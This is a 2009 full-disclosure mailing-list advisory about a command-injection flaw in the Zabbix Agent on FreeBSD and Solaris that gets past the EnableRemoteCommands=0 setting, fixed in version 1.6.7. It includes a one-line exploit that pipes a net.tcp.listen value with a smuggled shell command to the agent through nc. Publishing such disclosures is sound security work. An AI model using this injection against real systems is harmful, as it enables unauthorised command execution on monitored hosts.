full-disclosure - Zabbix Agent : Bypass of EnableRemoteCommands=0

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Date: Sun, 13 Dec 2009 16:28:30 +0100
From: Nicob <nicob@...ob.net>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Zabbix Agent : Bypass of EnableRemoteCommands=0


>>From Wikipedia : "Zabbix is a network management system application
[...] designed to monitor and track the status of various network
services, servers, and other network hardware."

	[Zabbix Agent : Bypass of EnableRemoteCommands=0]

Impacted software : Zabbix Agent (FreeBSD and Solaris only)
Zabbix reference : https://support.zabbix.com/browse/ZBX-1032
Patched version : 1.6.7

Faulty source code : function NET_TCP_LISTEN() in
libs/zbxsysinfo/(freebsd|solaris)/net.c

Exploit : $> echo "net.tcp.listen[80';id;echo ']"|nc -vn xxxxx 10050
Limitation : attacker must come from (or spoof) a trusted IP address

Changelog entry : fixed security vulnerability in processing of
net.tcp.listen under FreeBSD and Solaris agents

Nicob

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